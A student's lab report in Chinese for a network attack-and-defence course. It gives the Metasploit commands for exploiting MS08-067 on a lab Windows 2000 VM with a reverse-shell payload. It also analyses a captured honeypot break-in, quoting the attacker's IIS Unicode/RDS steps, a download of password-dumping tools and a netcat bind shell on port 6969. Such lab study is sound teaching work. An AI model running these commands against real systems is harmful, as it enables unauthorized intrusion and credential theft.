20211919 《网络攻防实践》第六次作业

一、实践内容
1、windows操作系统的基本结构

内核态_Windows执行体Windows执行体:Windows内核核心文件ntoskrnl.exe的上层接口,包含基本的操作系统内核服务,如进程与线程管理、内存管理、I/O管理、网络连接、进程间通信,以及安全服务;
Windows内核体:实现底层操作系统功能,如线程调度、中断和异常分发处理、多处理器同步机制;
设备驱动程序:将用户I/O操作映射为特定硬件设备I/O请求的硬件设备驱动程序,以及文件系统与网络设备驱动程序。该部分支持通过数字签名认证的第三方硬件厂商的硬件设备驱动程序加载进入内核执行;
硬件抽象层:用于屏蔽Windows内核与平台硬件差异性的底层代码
WindowsGUI内核实现代码:即win32k.sys文件
2、windows操作系统的安全系统

Windows安全体系结构:

Windows操作系统基千引用监控器模型(Reference Monitor)来实现基本的对象安全模型,最关键的是位于内核的SRM(Security Reference Monitor)安全引用监控器,以及位于用户态的LSASS(Local Security Authority Subsystem Service)安全服务,他们与Winlogon/Netlogon及Eventlog等服务一起,实现了对主体用户的身份认证机制、对所有资源对象的访问控制机制,以及对访问的安全审计机制;

Windows身份认证机制:

Windows以安全主体的概念来包含所有进行资源访问请求的实体对象,包括用户、用户组和计算机三大类。对每个主体,有唯一SID来标识。Windows为每个用户和计算机设置账户进行管理,账户的根本作用是限制账户内运行的程序对系统资源的访问。用户组是为了简化管理引入的用户账户容器,通过将用户加入用户组,可以使用户拥有用户组的全部权限。Windows账户的口令经过hash后保存在SAM(Security Accounts Manager)文件或活动目录AD中。Winlogon进程、GINA图形化登录窗口与LSASS(Local Security Authority Service)服务协作完成本地身份认证过程。

Windows授权与访问控制机制:

在安全主体通过认证之后,Windows会给用户一个包含了安全主体SID的访问令牌。

用户在启动进程的时候,进程在他的控制块中也会有一个集成账户安全令牌的所有访问权限的安全令牌。

对于需要保护的资源,windows会将其抽象成对象,每个对象都会关联一个SD安全描述符。

一个安全描述符包括:对象所有者的SID标识符、对象所在的用户组的SID标识符、自主访问控制列表、系统审计访问控制列表。

Windows安全审计机制:

统审计策略在本地安全策略中由系 统管理员定义,来确定系统对哪些事件进行记录

windows远程安全攻防技术

windows的远程攻击可以大致分为:

  • 远程口令猜测和破解攻击攻击windows网络服务:关闭易受攻击的网络服务、配置防火墙、使用更安全的协议、使用强口令

  • 网络服务远程渗透攻击:打补丁、实施攻击缓解配置、利用安全核对清单对服务进行配置、安全增强插件、及时修复漏洞

  • 攻击windows客户端和用户:使用安全的软件、及时更新软件

Metasploit基础教程

  • Metasploit的整体架构
  • Metasploit的相关模块、介绍
  • Metasploit常用命令介绍

Windows本地安全攻防技术

windows本地提权:在攻击者获得了widows的一定的权限之后,他们会尝试获得最高的权限。本地提权攻击都是利用系统的各种漏洞,所以针对本地提权攻击,最好的办法就是即使打好各种补丁。

Windows敏感信息窃取:

  • Windows系统口令字密文提取:在攻入windows之后,攻击者就有可能获得关键信息的密文文件。

  • windows系统口令字破解:在获得密文文件之后,自然就是要对密文进行解密。

  • 防范措施:使用安全度高、能抵挡破解的口令

windows消灭踪迹

主要手段包括:关闭审计功能、清理事件日志。

防范措施:实现配置好系统审计和网络服务审计功能,并将日志传输到安全服务器中。

远程控制与后门

主要手段包括:向受控主机中植入第三方的远程控制与后门程序,主要包含命令行远程控制程序和图形化远程控制程序。

防范措施:采用一些后门检测软件来尝试发现攻击者隐藏的后门程序。
3、Windows的网络机制

二、实践过程

(1)动手实践Metasploit windows attacker

任务:使用metasploit软件进行windows远程渗透统计实验

具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权

(2)取证分析实践:解码一次成功的NT系统破解攻击。

来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
攻击者使用了什么破解工具进行攻击
攻击者如何使用这个破解工具进入并控制了系统
攻击者获得系统访问权限后做了什么
我们如何防止这样的攻击
你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么
(3)团队对抗实践:windows系统远程渗透攻击和分析。

攻方使用metasploit选择漏洞进行攻击,获得控制权。(要求写出攻击方的同学信息、使用漏洞、相关IP地址等)

防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。

主机 IP
kali 192.168.200.7
攻击机ubuntu 192.168.200.2
Metasploitable_ubuntu 192.168.200.33
Win2KServer 192.168.200.34

2.1 实践Metasploit windows attacker
首先在kali打开metasploit,输入msfconsole,回车后就会进入到他的控制台界面。

然后先使用search ms08_067搜索一下ms08_067漏洞,搜索结果如下图。这是针对这个漏洞的渗透攻击模块。

然后使用use exploit/windows/smb/ms08_067_netapi看路径可以知道这是一个可用于渗透攻击的。(具体参照三中的问题1)

输入set payload generic/shell_reverse_tcp设置攻击的载荷为tcp的反向连接;
然后输入show options,展示渗透攻击需要设置的参数;

输入show targets展示可渗透攻击的靶机的操作系统及版本;

输入set LHOST 192.168.200.7设置渗透攻击的主机是kali;
输入set RHOST 192.168.200.34设置渗透攻击的靶机IP;

输入exploit开始渗透攻击;

在kali上执行ipconfig/all得到如下图所示,查询到了靶机的IP。

2.2 取证分析实践:解码一次成功的NT系统破解攻击。

来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
1、攻击者使用了什么破解工具进行攻击
2、攻击者如何使用这个破解工具进入并控制了系统
3、攻击者获得系统访问权限后做了什么
4、我们如何防止这样的攻击
5、你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?

用wireshark打开云班课上的.log文件,会看到非常多报文。发现里面有可识别的http协议内容、可识别的sql代码内容,可识别的系统操作代码内容和不可识别的二进制内容。根据题目先进行一下筛选ip.dst ==172.16.1.106 and http

右键选择follow-->TCP stream,跟踪一个数据包的cpu数据流,找到特殊字符%C0%AF


查询百度可知,发现【%C0%AF】为Unicode编码,由此判断攻击者进行了Unicode攻击以打开boot.ini文件。因此存在Unicode漏洞攻击。
继续跟踪数据流,发现有shell语句和"ADM!ROX!YOUR!WORLD"

百度可知,这是RDS漏洞。将这些shell代码整理出来,并进行分析(下图来自视频实践2)。

从这些shell语句中可以看到攻击者使用IIS Unicode漏洞进入靶机之后,利用其msadcs.dall中的RDS漏洞允许任意代码执行的缺陷进行以下操作:
其中第一、二段的ftpcom可知攻击机打开213.116.251.162的主机后,使用FTP的方式下载文件,其中篇dump.exe和samdump.dll是配合使用破解口令的,使用samdump.dll拿到口令后再用pdump.exe进行破解。

以上图可以看出,sasfile为高效读入数据的方式,,nc.exe文件是一个远程入侵的后门程序,便于下次攻击。
接下来使用http.request.uri contains "msadc"进行筛选,可以看到攻击机成功上传了工具。

筛选ftp连接,发现直到编号1106连接成功的:

追踪TCP流,可以看出:攻击者通过创建了ftpcom脚本,使用ftp连接www.nether.net,并以johna2k为用户haxedj00为密码下载 nc.exe、pdump.exe和samdump.dll。

在下载完文件之后,查看到 1233 号数据包,攻击者执行了这样一条命令:cmd1.exe /c nc -l -p 6969 -e cmd1.exe。表示攻击者连接了6969端口,并且获得了访问权限

继续查看http数据流,可以看到删除了http的文件,猜测攻击者准备溜走。

查看tcp数据流时,发现其是蜜罐攻击。攻击者警觉了他的目标是一台蜜罐主机,攻击者写了这是他见过的最好的蜜罐。

如何防止这样的攻击:(1)直接防御措施:打补丁(2)进一步防御措施:禁用用不着的RDS等服务;防火墙封禁网络内部服务器发起的连接;为web server在单独的文件卷上设置虚拟根目录;使用NTFS文件系统,因为FAT几乎不提供安全功能;使用IIS Lockdown 和URLScan 等工具加强web server。

2.3 团队对抗实践:windows系统远程渗透攻击和分析
在进行这部分实验的时候,要更改配置为桥接模式,使用校园网的时候,靶机win设置ip一直设置重复,可以开自己的热点进行实验。
攻击:攻方使用metasploit选择漏洞进行攻击,获得控制权。(要求写出攻击方的同学信息、使用漏洞、相关IP地址等)
靶机:192.168.0.168(李楚涵 2121) 攻击机:192.168.0.191
具体操作和2.1实践相同,此处不再赘述,只是需要把其中的靶机ip变成李楚涵同学的ip


可以看到同学的靶机里生成相应的文件,渗透成功。

防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。
在靶机上下载了wireshark,然后打开监听模式,同学使用攻击机kali:192.168.43.58攻击我的win靶机:192.168.43.57.


在靶机上进行监听可以看到捕捉到了被攻击的过程,源地址是192.168.43.58,目标地址是192.168.43.57,攻击机向靶机发了许多SMB数据包。攻击利用的漏洞有:针对SMB网络服务的漏洞、DCERPC解析器拒绝服务漏洞、SPOOLSS打印服务假冒漏洞。此外还发现攻击方在文件夹里创建了ZT的文件。
三、学习中遇到的问题及解决
1、在使用然后使用use exploit/windows/smb/ms08_067_netapi看路径时,出现
使用show payloads查看到路径。

2、在进行实验一时,Win2KServer无法ping通kali,最后检查发现,Win2KServer和kali不在同一局域网内,更改后可以ping通。
3、在进行攻方实验的时候,开始使用校园网进行实验,发现win下的ip设置都是重复的,最后好不容易找到一个可以使用的,没过多久也提示重复使用了,最后使用自己的热点才解决这一问题;在守方实验的时候,寻找低版本的wireshark耗费了一点时间。
提供一个wireshark的下载地址:https://2.na.dl.wireshark.org/win32/all-versions/
四、学习感想和体会
学会了Metasploit的基础使用,并且对window系统漏洞有了一定了解。

posted @ 2022-04-24 20:48  NingNa  阅读(208)  评论(0编辑  收藏  举报